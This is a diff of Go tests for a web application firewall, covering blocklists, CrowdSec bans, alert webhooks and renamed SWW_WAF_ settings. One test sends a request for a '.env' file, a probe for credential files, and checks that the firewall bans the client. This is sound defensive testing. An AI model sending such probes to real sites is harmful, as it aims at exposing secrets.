@@ -673,14 +644,14 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) {
writeLookupDatabase(t, path, "DE") writeLookupDatabase(t, path, "DE")
env := map[string]string{ env := map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: t.TempDir(), stateDir: t.TempDir(),
rulesDir: t.TempDir(), rulesDir: t.TempDir(),
metricsToken: token, metricsToken: token,
instanceName: instance, instanceName: instance,
lookupSource: "file", lookupSource: "file",
lookupDBPath: path, lookupDBPath: path,
"SWW_TAG_DENY": "country=KP", "SWW_WAF_TAG_DENY": "country=KP",
// The requests sent until a replacement takes effect, and those // The requests sent until a replacement takes effect, and those
// for the metrics, must not break a rate limit, whose ban would // for the metrics, must not break a rate limit, whose ban would
// refuse them too. // refuse them too.
@@ -715,38 +686,23 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) {
} }
// One that cannot be read leaves the file read before in use. // One that cannot be read leaves the file read before in use.
err := os.WriteFile( err := os.WriteFile(replacement, []byte("not a lookup database\n"), 0o600)
replacement,
[]byte("not a lookup database\n"),
0o600,
)
if err != nil { if err != nil {
t.Fatalf("write %s: %v", replacement, err) t.Fatalf("write %s: %v", replacement, err)
} }
rename(t, replacement, path) rename(t, replacement, path)
metrics := metricsWith( metrics := metricsWith(t, url+"_sww/metrics", token,
t, `sww_lookup_database_read_failures_total{instance="fsn1app1/blog"} 1`)
url+"_sww/metrics", lastRead = seriesValue(t, metrics,
token, `sww_lookup_database_last_read_timestamp_seconds{instance="fsn1app1/blog"}`)
`sww_lookup_database_read_failures_total{instance="fsn1app1/blog"} 1`,
)
lastRead = seriesValue(
t,
metrics,
`sww_lookup_database_last_read_timestamp_seconds{instance="fsn1app1/blog"}`,
)
wantStatus(t, url, placed, http.StatusOK) wantStatus(t, url, placed, http.StatusOK)
}) })
if lastRead < float64(began.Unix()) || if lastRead < float64(began.Unix()) || lastRead > float64(time.Now().Unix()) {
lastRead > float64(time.Now().Unix()) { t.Errorf("the lookup database was last read at %v, want a time in the test", lastRead)
t.Errorf(
"the lookup database was last read at %v, want a time in the test",
lastRead,
)
} }
} }
@@ -785,13 +741,13 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
torURL, dropURL := server.URL+torPath, server.URL+dropPath torURL, dropURL := server.URL+torPath, server.URL+dropPath
cache := t.TempDir() cache := t.TempDir()
env := map[string]string{ env := map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: t.TempDir(), stateDir: t.TempDir(),
cacheDir: cache, cacheDir: cache,
rulesDir: t.TempDir(), rulesDir: t.TempDir(),
metricsToken: token, metricsToken: token,
instanceName: instance, instanceName: instance,
"SWW_BLOCKLIST_URLS": torURL, "SWW_WAF_BLOCKLIST_URLS": torURL,
// The requests sent until the list takes effect, and those for the // The requests sent until the list takes effect, and those for the
// metrics, must not break a rate limit, whose ban would refuse them // metrics, must not break a rate limit, whose ban would refuse them
// too. // too.
@@ -807,12 +763,12 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
}) })
// Restarted with drop.txt named after it and the server answering, tor.txt // Restarted with drop.txt named after it and the server answering, tor.txt
// waits SWW_BLOCKLIST_REFRESH after its failed try, kept in lists.json, // waits SWW_WAF_BLOCKLIST_REFRESH after its failed try, kept in lists.json,
// while drop.txt, never tried, is fetched at once. Lists are fetched in the // while drop.txt, never tried, is fetched at once. Lists are fetched in the
// order named, so once drop.txt refuses the client, tor.txt has had its turn. // order named, so once drop.txt refuses the client, tor.txt has had its turn.
failing.Store(false) failing.Store(false)
env["SWW_BLOCKLIST_URLS"] = torURL + "," + dropURL env["SWW_WAF_BLOCKLIST_URLS"] = torURL + "," + dropURL
out := runUntilStopped(t, env, func(url string) { out := runUntilStopped(t, env, func(url string) {
for statusFrom(t, url, placed) != http.StatusForbidden { for statusFrom(t, url, placed) != http.StatusForbidden {
time.Sleep(pollInterval) time.Sleep(pollInterval)
@@ -820,8 +776,8 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
}) })
wantDeniedByList(t, out.line(t, "action", "client_denied"), dropURL) wantDeniedByList(t, out.line(t, "action", "client_denied"), dropURL)
if n := torFetches.Load(); n != 1 { if fetches := torFetches.Load(); fetches != 1 {
t.Errorf("tor.txt fetched %d times before the restart, want 1", n) t.Errorf("tor.txt fetched %d times, want once, before the restart", fetches)
} }
// After another restart, with the server failing, the copy of drop.txt // After another restart, with the server failing, the copy of drop.txt
@@ -836,10 +792,10 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
path := filepath.Join(cache, "lists.json") path := filepath.Join(cache, "lists.json")
//nolint:gosec // a file in the test's directory kept, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
kept, err := os.ReadFile(path)
if err != nil || !strings.Contains(string(kept), `"`+copyright+`"`) { if err != nil || !strings.Contains(string(kept), `"`+copyright+`"`) {
t.Errorf("lists.json holds\n%s\nwant %q (%v)", kept, copyright, err) t.Errorf("lists.json holds\n%s\nwant the copy with %q (%v)", kept, copyright,
err)
} }
} }
@@ -859,24 +815,21 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
case down.Load(): case down.Load():
w.WriteHeader(http.StatusServiceUnavailable) w.WriteHeader(http.StatusServiceUnavailable)
default: default:
_, _ = io.WriteString( _, _ = io.WriteString(w, `[{"duration": "4h0m0s", "origin": "crowdsec", `+
w, `"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
`[{"duration": "4h0m0s", "origin": "crowdsec", `+ `"type": "ban", "value": "203.0.113.0/24"}]`)
`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
`"type": "ban", "value": "203.0.113.0/24"}]`,
)
} }
})) }))
t.Cleanup(engine.Close) t.Cleanup(engine.Close)
dir, cache := t.TempDir(), t.TempDir() dir, cache := t.TempDir(), t.TempDir()
env := map[string]string{ env := map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: dir, stateDir: dir,
cacheDir: cache, cacheDir: cache,
rulesDir: t.TempDir(), rulesDir: t.TempDir(),
"SWW_CROWDSEC_LAPI_URL": engine.URL, "SWW_WAF_CROWDSEC_LAPI_URL": engine.URL,
"SWW_CROWDSEC_LAPI_KEY": bouncerKey, "SWW_WAF_CROWDSEC_LAPI_KEY": bouncerKey,
} }
// Once the list is fetched, the client's request bans it. // Once the list is fetched, the client's request bans it.
@@ -889,11 +842,7 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
ban := onlyBan(t, dir) ban := onlyBan(t, dir)
if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" || if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" ||
ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" { ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" {
t.Errorf( t.Errorf("bans.json holds %v, want the ban for crowdsec on %s", ban, placed)
"bans.json holds %v, want the ban for crowdsec on %s",
ban,
placed,
)
} }
// Restarted with the engine down, the copy kept in lists.json bans // Restarted with the engine down, the copy kept in lists.json bans
@@ -922,10 +871,7 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
} }
if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) { if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) {
t.Errorf( t.Errorf("the key is shown in the output or the state and cache files:\n%s", all)
"the key is shown in the output or the state and cache files:\n%s",
all,
)
} }
} }
@@ -937,11 +883,7 @@ func wantDeniedByList(t *testing.T, line map[string]any, listURL string) {
reputation, _ := line["reputation"].([]any) reputation, _ := line["reputation"].([]any)
if line["action"] != "client_denied" || len(reputation) != 1 || if line["action"] != "client_denied" || len(reputation) != 1 ||
reputation[0] != listURL { reputation[0] != listURL {
t.Errorf( t.Errorf("request log line %v, want one denied for %s", line, listURL)
"request log line %v, want one denied for %s",
line,
listURL,
)
} }
} }
@@ -964,7 +906,7 @@ func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) {
t.Fatalf("exit status %d, want 1", status) t.Fatalf("exit status %d, want 1", status)
} }
want := "SWW_LOOKUP_DB_PATH cannot be read: open " + path + want := "SWW_WAF_LOOKUP_DB_PATH cannot be read: open " + path +
": no such file or directory" ": no such file or directory"
line := out.line(t, "msg", "cannot use the lookup database") line := out.line(t, "msg", "cannot use the lookup database")
@@ -976,11 +918,7 @@ func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) {
func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) { func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) {
t.Parallel() t.Parallel()
endpoint, err := (&net.ListenConfig{}).Listen( endpoint, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
t.Context(),
"tcp",
localhost+":0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -990,10 +928,10 @@ func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) {
}() }()
env := map[string]string{ env := map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: t.TempDir(), stateDir: t.TempDir(),
rulesDir: t.TempDir(), rulesDir: t.TempDir(),
"SWW_LOG_REMOTE_URL": "syslog+tcp://" + endpoint.Addr().String(), "SWW_WAF_LOG_REMOTE_URL": "syslog+tcp://" + endpoint.Addr().String(),
} }
out := runUntilStopped(t, env, func(url string) { out := runUntilStopped(t, env, func(url string) {
@@ -1035,11 +973,7 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
// The endpoint takes connections and never answers, so the TLS // The endpoint takes connections and never answers, so the TLS
// handshake of each waits on it, and no line is ever sent. // handshake of each waits on it, and no line is ever sent.
endpoint, err := (&net.ListenConfig{}).Listen( endpoint, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
t.Context(),
"tcp",
localhost+":0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -1049,13 +983,13 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
}() }()
env := map[string]string{ env := map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: t.TempDir(), stateDir: t.TempDir(),
rulesDir: t.TempDir(), rulesDir: t.TempDir(),
"SWW_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr().String(), "SWW_WAF_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr().String(),
"SWW_LOG_REMOTE_BUFFER": "1", "SWW_WAF_LOG_REMOTE_BUFFER": "1",
metricsToken: token, metricsToken: token,
instanceName: instance, instanceName: instance,
} }
out := runUntilStopped(t, env, func(url string) { out := runUntilStopped(t, env, func(url string) {
@@ -1075,8 +1009,7 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
const dropped = "\nsww_remote_log_lines_dropped_total" + const dropped = "\nsww_remote_log_lines_dropped_total" +
`{instance="fsn1app1/blog"} ` `{instance="fsn1app1/blog"} `
if strings.Contains(metrics, dropped+"0\n") || if strings.Contains(metrics, dropped+"0\n") || !strings.Contains(metrics, dropped) {
!strings.Contains(metrics, dropped) {
t.Errorf("no line dropped in the metrics:\n%s", metrics) t.Errorf("no line dropped in the metrics:\n%s", metrics)
} }
@@ -1102,11 +1035,7 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
// too. // too.
line := out.line(t, "msg", "starting") line := out.line(t, "msg", "starting")
if line["instance"] != instance { if line["instance"] != instance {
t.Errorf( t.Errorf("start logged with instance %v, want %s", line["instance"], instance)
"start logged with instance %v, want %s",
line["instance"],
instance,
)
} }
} }
@@ -1124,12 +1053,12 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
dir := t.TempDir() dir := t.TempDir()
env := map[string]string{ env := map[string]string{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: dir, stateDir: dir,
rulesDir: rules, rulesDir: rules,
"SWW_ALERT_WEBHOOK_URL": webhook.url, "SWW_WAF_ALERT_WEBHOOK_URL": webhook.url,
"SWW_ALERT_WEBHOOK_HEADERS": "Authorization:Bearer " + adminSecret, "SWW_WAF_ALERT_WEBHOOK_HEADERS": "Authorization:Bearer " + adminSecret,
instanceName: instance, instanceName: instance,
} }
runUntilStopped(t, env, func(url string) { runUntilStopped(t, env, func(url string) {
@@ -1137,14 +1066,10 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
wantRefused(t, url+".env") wantRefused(t, url+".env")
post := webhook.waitFor(t, "ban", true) post := webhook.waitFor(t, "ban", true)
if post.alert["client"] != localhost || if post.alert["client"] != localhost || post.alert["netblock"] != localhost+"/32" ||
post.alert["netblock"] != localhost+"/32" ||
post.authorization != "Bearer "+adminSecret { post.authorization != "Bearer "+adminSecret {
t.Errorf( t.Errorf("the webhook was sent %v, with Authorization %q", post.alert,
"the webhook was sent %v, with Authorization %q", post.authorization)
post.alert,
post.authorization,
)
} }
// The webhook fails, so the alert for the ban made permanent by the // The webhook fails, so the alert for the ban made permanent by the
@@ -1156,7 +1081,24 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
// alerts.json keeps it as sww stops, and once started again, // alerts.json keeps it as sww stops, and once started again,
// sww sends it. // sww sends it.
wantPermanentBanAlertWaiting(t, dir) var file struct {
Waiting map[string][]struct {
Event string `json:"event"`
} `json:"waiting"`
}
path := filepath.Join(dir, "alerts.json")
data, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
if err == nil {
err = json.Unmarshal(data, &file)
}
waiting := file.Waiting["webhook"]
if err != nil || len(waiting) != 1 || waiting[0].Event != "permanent_ban" {
t.Fatalf("alerts.json holds %s (%v), want the permanent_ban alert waiting for "+
"the webhook", data, err)
}
// It counts the alert sent in the metrics, read here from a client the // It counts the alert sent in the metrics, read here from a client the
// ban does not cover. // ban does not cover.
@@ -1164,7 +1106,7 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
webhook.failing.Store(false) webhook.failing.Store(false)
env["SWW_ALLOW_NETS"] = localhost env["SWW_WAF_ALLOW_NETS"] = localhost
env[metricsToken] = token env[metricsToken] = token
runUntilStopped(t, env, func(url string) { runUntilStopped(t, env, func(url string) {
@@ -1188,37 +1130,6 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
}) })
} }
// wantPermanentBanAlertWaiting checks that alerts.json in dir holds one
// alert waiting for the webhook, the permanent_ban alert.
func wantPermanentBanAlertWaiting(t *testing.T, dir string) {
t.Helper()
var file struct {
Waiting map[string][]struct {
Event string `json:"event"`
} `json:"waiting"`
}
path := filepath.Join(dir, "alerts.json")
//nolint:gosec // a file in the test's directory
data, err := os.ReadFile(path)
if err == nil {
err = json.Unmarshal(data, &file)
}
waiting := file.Waiting["webhook"]
if err != nil || len(waiting) != 1 ||
waiting[0].Event != "permanent_ban" {
t.Fatalf(
"alerts.json holds %s (%v), want the permanent_ban alert waiting for "+
"the webhook",
data,
err,
)
}
}
func TestBanIsAlertedToSlackAndNtfy(t *testing.T) { func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
t.Parallel() t.Parallel()
@@ -1235,12 +1146,12 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
rulesDir: t.TempDir(), rulesDir: t.TempDir(),
rateLimitPerDay: "1", rateLimitPerDay: "1",
// The metrics are read from 127.0.0.1, which no limit counts. // The metrics are read from 127.0.0.1, which no limit counts.
"SWW_ALLOW_NETS": localhost + "/32", "SWW_WAF_ALLOW_NETS": localhost + "/32",
metricsToken: token, metricsToken: token,
instanceName: instance, instanceName: instance,
"SWW_ALERT_SLACK_WEBHOOK_URL": slack.url, "SWW_WAF_ALERT_SLACK_WEBHOOK_URL": slack.url,
"SWW_ALERT_NTFY_URL": ntfy.url, "SWW_WAF_ALERT_NTFY_URL": ntfy.url,
"SWW_ALERT_NTFY_TOKEN": ntfyToken, "SWW_WAF_ALERT_NTFY_TOKEN": ntfyToken,
} }
runUntilStopped(t, env, func(url string) { runUntilStopped(t, env, func(url string) {
@@ -1256,8 +1167,7 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
slackPost := slack.firstPost(t) slackPost := slack.firstPost(t)
err := json.Unmarshal([]byte(slackPost.body), &message) err := json.Unmarshal([]byte(slackPost.body), &message)
if err != nil || if err != nil || !strings.HasPrefix(message.Text, "*fsn1app1/blog: ban*\n") ||
!strings.HasPrefix(message.Text, "*fsn1app1/blog: ban*\n") ||
!strings.Contains(message.Text, "\nclient: "+client+"\n") { !strings.Contains(message.Text, "\nclient: "+client+"\n") {
t.Errorf("Slack was sent %s", slackPost.body) t.Errorf("Slack was sent %s", slackPost.body)
} }
@@ -1292,29 +1202,21 @@ func TestStateFileThatDoesNotParseStopsTheStart(t *testing.T) {
dir := t.TempDir() dir := t.TempDir()
err := os.WriteFile( err := os.WriteFile(filepath.Join(dir, "bans.json"), []byte("{\n"), 0o600)
filepath.Join(dir, "bans.json"),
[]byte("{\n"),
0o600,
)
if err != nil { if err != nil {
t.Fatalf("write bans.json: %v", err) t.Fatalf("write bans.json: %v", err)
} }
// The file ends at the newline that is the second byte of its first // The file ends at the newline that is the second byte of its first
// line. // line.
wantStartRefused( wantStartRefused(t, dir, filepath.Join(dir, "bans.json")+", line 1, column 2: ")
t,
dir,
filepath.Join(dir, "bans.json")+", line 1, column 2: ",
)
} }
func TestUnwritableStateDirStopsTheStart(t *testing.T) { func TestUnwritableStateDirStopsTheStart(t *testing.T) {
t.Parallel() t.Parallel()
wantStartRefused(t, filepath.Join(t.TempDir(), "missing"), wantStartRefused(t, filepath.Join(t.TempDir(), "missing"),
"SWW_STATE_DIR cannot be written: ") "SWW_WAF_STATE_DIR cannot be written: ")
} }
func TestUnwritableCacheDirStopsTheStart(t *testing.T) { func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
@@ -1335,8 +1237,8 @@ func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
line := out.line(t, "msg", "cannot use the state and cache files") line := out.line(t, "msg", "cannot use the state and cache files")
if message, _ := line["error"].(string); !strings.HasPrefix(message, if message, _ := line["error"].(string); !strings.HasPrefix(message,
"SWW_CACHE_DIR cannot be written: ") { "SWW_WAF_CACHE_DIR cannot be written: ") {
t.Errorf("start refused with %q, want SWW_CACHE_DIR named", message) t.Errorf("start refused with %q, want SWW_WAF_CACHE_DIR named", message)
} }
} }
@@ -1362,11 +1264,7 @@ func wantStartRefused(t *testing.T, dir, want string) {
message, _ := line["error"].(string) message, _ := line["error"].(string)
if !strings.HasPrefix(message, want) { if !strings.HasPrefix(message, want) {
t.Errorf( t.Errorf("start refused with %q, want an error starting %q", message, want)
"start refused with %q, want an error starting %q",
message,
want,
)
} }
} }
@@ -1431,11 +1329,7 @@ func runUntilStopped(
select { select {
case status := <-exited: case status := <-exited:
if status != 0 { if status != 0 {
t.Fatalf( t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
"exit status %d, want 0; output:\n%s",
status,
out.text(),
)
} }
case <-time.After(waitLimit): case <-time.After(waitLimit):
t.Fatal("still running after being told to stop") t.Fatal("still running after being told to stop")
@@ -1451,38 +1345,33 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
settings, _ := line["settings"].(map[string]any) settings, _ := line["settings"].(map[string]any)
want := map[string]any{ want := map[string]any{
listenAddr: localhost + ":0", listenAddr: localhost + ":0",
stateDir: dir, stateDir: dir,
"SWW_MODE": "enforce", "SWW_WAF_MODE": "enforce",
stateWriteDelay: "10s", stateWriteDelay: "10s",
stateCounterInterval: "15m", stateCounterInterval: "15m",
"SWW_ALLOW_NETS": "", "SWW_WAF_ALLOW_NETS": "",
rateLimitExemptNets: "", rateLimitExemptNets: "",
"SWW_DENY_NETS": "", "SWW_WAF_DENY_NETS": "",
"SWW_RATE_LIMIT_PER_MINUTE": "120", "SWW_WAF_RATE_LIMIT_PER_MINUTE": "120",
"SWW_RATE_LIMIT_PER_HOUR": "1500", "SWW_WAF_RATE_LIMIT_PER_HOUR": "1500",
rateLimitPerDay: "6000", rateLimitPerDay: "6000",
"SWW_RATE_LIMIT_EXEMPT_PATHS": "", "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS": "",
"SWW_TAG_DENY": "", "SWW_WAF_TAG_DENY": "",
"SWW_EXCLUSIVELY_ALLOWED_COUNTRIES": "", "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES": "",
"SWW_BAN_RESPONSE": "403", "SWW_WAF_BAN_RESPONSE": "403",
"SWW_LIMIT_BAN_DURATION": "1h", "SWW_WAF_LIMIT_BAN_DURATION": "1h",
"SWW_LIMIT_BAN_REPEAT_WINDOW": "24h", "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW": "24h",
"SWW_MAX_BAN_DURATION": "7d", "SWW_WAF_MAX_BAN_DURATION": "7d",
"SWW_ATTACK_BAN_DURATION": "7d", "SWW_WAF_ATTACK_BAN_DURATION": "7d",
"SWW_MAX_BANS": "5000", "SWW_WAF_MAX_BANS": "5000",
"SWW_BAN_SCOPE_V4_PREFIX": "32", "SWW_WAF_BAN_SCOPE_V4_PREFIX": "32",
"SWW_RULES_ENABLED": "true", "SWW_WAF_RULES_ENABLED": "true",
} }
for name, value := range want { for name, value := range want {
if settings[name] != value { if settings[name] != value {
t.Errorf( t.Errorf("starting line gives %s=%v, want %v", name, settings[name], value)
"starting line gives %s=%v, want %v",
name,
settings[name],
value,
)
} }
} }
@@ -1522,11 +1411,7 @@ func messages(t *testing.T, received string) []string {
_, message, ok := strings.Cut(record, header) _, message, ok := strings.Cut(record, header)
if !ok || !strings.HasPrefix(record, "<134>1 ") { if !ok || !strings.HasPrefix(record, "<134>1 ") {
t.Fatalf( t.Fatalf("record %q, want priority <134> and header %q", record, header)
"record %q, want priority <134> and header %q",
record,
header,
)
} }
found = append(found, message+"\n") found = append(found, message+"\n")
@@ -1591,10 +1476,7 @@ func seriesValue(t *testing.T, metrics, series string) float64 {
t.Helper() t.Helper()
for line := range strings.Lines(metrics) { for line := range strings.Lines(metrics) {
value, found := strings.CutPrefix( value, found := strings.CutPrefix(strings.TrimSpace(line), series+" ")
strings.TrimSpace(line),
series+" ",
)
if !found { if !found {
continue continue
} }
@@ -1628,11 +1510,7 @@ func writeLookupDatabase(t *testing.T, path, country string) {
t.Helper() t.Helper()
lookuptest.Write(t, path, map[string]lookuptest.Network{ lookuptest.Write(t, path, map[string]lookuptest.Network{
placed + "/32": { placed + "/32": {ASN: "AS64496", ASName: "Example Net", Country: country},
ASN: "AS64496",
ASName: "Example Net",
Country: country,
},
}) })
} }
@@ -1670,8 +1548,7 @@ func onlyBan(t *testing.T, dir string) map[string]any {
path := filepath.Join(dir, "bans.json") path := filepath.Join(dir, "bans.json")
//nolint:gosec // a file in the test's directory data, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
data, err := os.ReadFile(path)
if err != nil { if err != nil {
t.Fatalf("read bans.json: %v", err) t.Fatalf("read bans.json: %v", err)
} }
@@ -1689,7 +1566,7 @@ func onlyBan(t *testing.T, dir string) map[string]any {
} }
// wantRefused checks that waf at url refuses a request from localhost with // wantRefused checks that waf at url refuses a request from localhost with
// 403, the default SWW_BAN_RESPONSE. // 403, the default SWW_WAF_BAN_RESPONSE.
func wantRefused(t *testing.T, url string) { func wantRefused(t *testing.T, url string) {
t.Helper() t.Helper()
@@ -1713,11 +1590,7 @@ func wantStatus(t *testing.T, url, from string, status int) {
// request, since sww may not watch its directory yet when it is // request, since sww may not watch its directory yet when it is
// first written. It waits as long as that takes, so that a slow test // first written. It waits as long as that takes, so that a slow test
// process cannot fail the test. // process cannot fail the test.
func saveUntilAnswered( func saveUntilAnswered(t *testing.T, path, content, url, from string, status int) {
t *testing.T,
path, content, url, from string,
status int,
) {
t.Helper() t.Helper()
for { for {
@@ -1734,8 +1607,8 @@ func saveUntilAnswered(
} }
} }
// destination is a stand-in for SWW_ALERT_SLACK_WEBHOOK_URL or // destination is a stand-in for SWW_WAF_ALERT_SLACK_WEBHOOK_URL or
// SWW_ALERT_NTFY_URL. It notes each request it is sent, and answers // SWW_WAF_ALERT_NTFY_URL. It notes each request it is sent, and answers
// 200. // 200.
type destination struct { type destination struct {
url string url string
@@ -1794,7 +1667,7 @@ func (d *destination) firstPost(t *testing.T) destinationPost {
} }
} }
// webhook is a stand-in for SWW_ALERT_WEBHOOK_URL. It notes each alert // webhook is a stand-in for SWW_WAF_ALERT_WEBHOOK_URL. It notes each alert
// it is sent, and answers 204, or 503 while failing. // it is sent, and answers 204, or 503 while failing.
type webhook struct { type webhook struct {
url string url string
@@ -1849,11 +1722,7 @@ func startWebhook(t *testing.T) *webhook {
// waitFor waits until the webhook has been sent an alert for event that // waitFor waits until the webhook has been sent an alert for event that
// it took, or, unless answered, failed, and returns it. It waits as long // it took, or, unless answered, failed, and returns it. It waits as long
// as that takes, so that a slow test process cannot fail the test. // as that takes, so that a slow test process cannot fail the test.
func (w *webhook) waitFor( func (w *webhook) waitFor(t *testing.T, event string, answered bool) webhookPost {
t *testing.T,
event string,
answered bool,
) webhookPost {
t.Helper() t.Helper()
for { for {
+7 -27
View File
@@ -14,7 +14,6 @@ import (
"syscall" "syscall"
"testing" "testing"
"time" "time"
// The time zone database, so that the process TestMainRunsWAF starts // The time zone database, so that the process TestMainRunsWAF starts
// finds the zone TZ names on any host. // finds the zone TZ names on any host.
_ "time/tzdata" _ "time/tzdata"
@@ -86,8 +85,7 @@ func TestMainRunsWAF(t *testing.T) {
dir := t.TempDir() dir := t.TempDir()
out := &output{} out := &output{}
//nolint:gosec // this test binary cmd := exec.CommandContext(t.Context(), binary) //nolint:gosec // this test binary
cmd := exec.CommandContext(t.Context(), binary)
cmd.Stdout = out cmd.Stdout = out
cmd.Env = append(os.Environ(), cmd.Env = append(os.Environ(),
@@ -114,11 +112,7 @@ func TestMainRunsWAF(t *testing.T) {
select { select {
case status := <-exited: case status := <-exited:
if status != 0 { if status != 0 {
t.Fatalf( t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
"exit status %d, want 0; output:\n%s",
status,
out.text(),
)
} }
case <-time.After(waitLimit): case <-time.After(waitLimit):
t.Fatal("still running after being told to stop") t.Fatal("still running after being told to stop")
@@ -129,8 +123,7 @@ func TestMainRunsWAF(t *testing.T) {
path := filepath.Join(dir, "clients.json") path := filepath.Join(dir, "clients.json")
//nolint:gosec // a file in the test's directory clients, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
clients, err := os.ReadFile(path)
if err != nil { if err != nil {
t.Fatalf("read clients.json: %v", err) t.Fatalf("read clients.json: %v", err)
} }
@@ -188,11 +181,7 @@ func TestMainWithoutACommandItKnowsPrintsTheCommands(t *testing.T) {
for _, name := range []string{"rproxy", wafCommand, "healthcheck"} { for _, name := range []string{"rproxy", wafCommand, "healthcheck"} {
if !strings.Contains(stderr.String(), name) { if !strings.Contains(stderr.String(), name) {
t.Errorf( t.Errorf("stderr %q does not name %s", stderr.String(), name)
"stderr %q does not name %s",
stderr.String(),
name,
)
} }
} }
@@ -230,13 +219,8 @@ func ask(t *testing.T, addr, path string, status int, disposition string) {
if res.StatusCode != status || if res.StatusCode != status ||
res.Header.Get(waf.DispositionHeader) != disposition { res.Header.Get(waf.DispositionHeader) != disposition {
t.Errorf( t.Errorf("answered %d with disposition %q, want %d with %q", res.StatusCode,
"answered %d with disposition %q, want %d with %q", res.Header.Get(waf.DispositionHeader), status, disposition)
res.StatusCode,
res.Header.Get(waf.DispositionHeader),
status,
disposition,
)
} }
} }
@@ -261,11 +245,7 @@ func runWAF(t *testing.T, env map[string]string, use func(addr string)) {
select { select {
case status := <-exited: case status := <-exited:
if status != 0 { if status != 0 {
t.Fatalf( t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
"exit status %d, want 0; output:\n%s",
status,
out.text(),
)
} }
case <-time.After(waitLimit): case <-time.After(waitLimit):
t.Fatal("still running after being told to stop") t.Fatal("still running after being told to stop")
+8 -17
View File
@@ -1,7 +1,7 @@
package waf package waf
// The heuristic abuseipdb. It reads SWW_ABUSEIPDB_KEY, // The heuristic abuseipdb. It reads SWW_WAF_ABUSEIPDB_KEY,
// SWW_ABUSEIPDB_MIN_SCORE and SWW_REPUTATION_ACTION. // SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_REPUTATION_ACTION.
import ( import (
"context" "context"
@@ -16,21 +16,17 @@ import (
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with // abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
// the score, when its score of the client is a hit, and refuses the request // the score, when its score of the client is a hit, and refuses the request
// when SWW_REPUTATION_ACTION is deny, as dnsbl does for a zone. While // when SWW_WAF_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
// SWW_ABUSEIPDB_KEY is unset it does nothing. A client without a score is // SWW_WAF_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
// checked in the background, by the request's address, if its history counts // checked in the background, by the request's address, if its history counts
// an offence, and the request does not wait for the answer. The score is then // an offence, and the request does not wait for the answer. The score is then
// used for each address of the client. Its figures are the score and // used for each address of the client. Its figures are the score and
// SWW_ABUSEIPDB_MIN_SCORE. // SWW_WAF_ABUSEIPDB_MIN_SCORE.
